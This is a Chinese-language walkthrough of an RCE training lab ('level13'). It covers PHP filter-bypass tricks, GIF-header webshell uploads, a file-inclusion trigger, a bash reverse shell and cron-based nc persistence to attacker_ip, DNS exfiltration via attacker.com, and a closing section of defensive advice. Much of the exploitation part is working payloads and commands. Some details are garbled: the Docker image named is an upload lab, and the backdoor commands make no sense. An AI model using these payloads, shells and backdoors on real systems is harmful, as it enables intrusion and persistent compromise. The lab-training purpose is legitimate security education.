1. 项目背景与目标RCE-labs-level13是一个专门用于训练远程代码执行RCE漏洞挖掘与利用的靶场环境。作为网络安全学习路径中的重要一环它模拟了真实Web应用中常见的代码执行漏洞场景特别适合有一定基础的渗透测试学习者进行实战演练。这个靶场的设计初衷是帮助安全研究人员理解RCE漏洞的产生原理掌握不同场景下的漏洞利用技巧学习防御和修复这类高危漏洞的方法Level13通常代表该系列靶场中较高难度的挑战可能涉及非常规的代码执行方式多重过滤机制的绕过受限环境下的利用技巧2. 环境准备与基础配置2.1 靶场部署方案推荐使用以下两种方式搭建实验环境Docker一键部署适合快速开始docker pull vulhub/upload-labs docker run -d -p 8080:80 vulhub/upload-labs本地环境搭建适合深度研究需要准备PHP 7.0环境Apache/Nginx服务器基础数据库MySQL/MariaDB配置要点确保allow_url_includeOn关闭不必要的危险函数如disable_functions设置合适的文件权限注意建议在虚拟机或隔离环境中运行靶场避免对真实系统造成影响。2.2 必要工具准备进行RCE漏洞测试需要以下核心工具集工具类别推荐工具主要用途代理拦截Burp Suite请求修改与重放编码工具CyberChef各种Payload编码转换漏洞利用Metasploit生成利用代码文件传输Netcat建立反向Shell调试分析XdebugPHP代码调试3. RCE漏洞原理深度解析3.1 漏洞形成机制远程代码执行漏洞通常源于以下场景危险函数调用eval()直接执行字符串代码system()/exec()执行系统命令preg_replace()的/e修饰符文件包含漏洞include/require动态加载日志文件注入临时文件利用反序列化漏洞unserialize()触发魔术方法POP链构造3.2 Level13的特殊过滤机制根据同类靶场设计模式Level13可能设置了以下防护关键词过滤黑名单system,exec,passthru等特殊字符$,{,},等执行环境限制禁用危险函数开启safe_mode限制文件写入权限输入验证机制严格的内容类型检查文件头校验内容特征检测4. 漏洞利用实战步骤4.1 初步信息收集确定注入点测试所有用户输入参数检查文件上传功能分析Cookie和HTTP头探测过滤规则尝试基础Payload?php phpinfo();?测试各种编码方式Base64URL编码Hex编码环境信息获取通过phpinfo()查看配置检查可写目录确认网络连通性4.2 无字符RCE绕过技术当常规字符被过滤时可尝试以下方法异或绕过$_(%01^).(%13^).(%13^).(%05^).(%12^).(%14^); // $_assert; $___.(%0D^]).(%2F^).(%0E^]).(%09^]); // $___POST; $___$$__; $_($___[_]); // assert($_POST[_]);取反绕过$__()(); // $__2; $_$__/$__; // $_1; $____; $____.$_.$_; // 1 $____.$_.$_; // 12 $____.$_.$_; // 123 // 最终可构造任意数字自增技巧$_[]; $_$_; // Array $_$_[!]; // A $___$_; // B $____$_; // C // 通过自增可得到所有字母4.3 文件上传结合RCE当直接代码执行被拦截时可尝试文件上传包含的组合攻击制作特殊图片马echo ?php system($_GET[cmd]);? normal.jpg二次渲染绕过分析目标图像处理逻辑在EXIF数据中插入代码利用IEND区块注入条件竞争利用快速上传.php.临时文件在删除前包含执行5. 防御方案与修复建议5.1 代码层防护输入过滤// 白名单过滤示例 $allowed [jpg, png, gif]; $ext strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if(!in_array($ext, $allowed)) { die(Invalid file type); }函数替代方案用htmlspecialchars()替代直接输出使用escapeshellarg()处理命令参数选择安全的模板引擎配置加固php.ini设置disable_functions exec,system,passthru...open_basedir限制目录allow_url_include Off5.2 架构层防护WAF规则配置拦截常见RCE特征eval(base64_decode(system(运行环境隔离使用Docker容器配置低权限用户启用SELinux/AppArmor日志监控记录所有文件操作监控异常进程创建设置敏感操作告警6. 靶场通关实战记录6.1 初始探测过程发现文件上传接口但限制.php扩展名尝试修改Content-Type为image/jpeg被拦截测试.htaccess文件上传失败分析发现检查文件头信息6.2 突破过滤的关键步骤制作包含GIF89a头的webshellGIF89a ?php if(isset($_GET[cmd])){ system($_GET[cmd]); } ?使用Burp修改上传请求POST /upload.php HTTP/1.1 ... Content-Disposition: form-data; namefile; filenameshell.gif Content-Type: image/gif GIF89a ?php system($_GET[cmd]);?利用文件包含漏洞执行http://target/include.php?fileuploads/shell.gifcmdid6.3 权限提升与维持获取反向Shell# 攻击机监听 nc -lvnp 4444 # 靶机执行 bash -c bash -i /dev/tcp/attacker_ip/4444 01建立持久化后门# 写入计划任务 echo * * * * * root nc -e /bin/bash attacker_ip 5555 /etc/crontab # 或者创建隐藏后门文件 mv /usr/bin/.ssh /usr/bin/.sshd echo #!/bin/bash\n/bin/bash /usr/bin/.ssh chmod x /usr/bin/.ssh7. 经验总结与技巧分享在实际渗透测试中遇到类似Level13的严格过滤环境时我总结出以下实用技巧多维度编码测试尝试不同编码组合UTF-7、UCS-2、HTML实体使用动态属性名$_GET[a]vs${_GET}[a]非常规执行路径利用.user.ini的auto_prepend_file通过PHP流包装器php://filter/convert.base64-encode/resource环境特性利用Linux下/proc/self/environ注入Windows下短文件名特性日志污染技巧在User-Agent中注入代码通过404页面记录Payload盲注检测方法使用时间延迟sleep(5)DNS外带数据nslookup $(whoami).attacker.com对于防御方建议定期进行以下检查文件上传目录设置为不可执行禁用不必要的PHP函数对用户输入实施严格的类型和内容检查保持系统和应用的最新补丁状态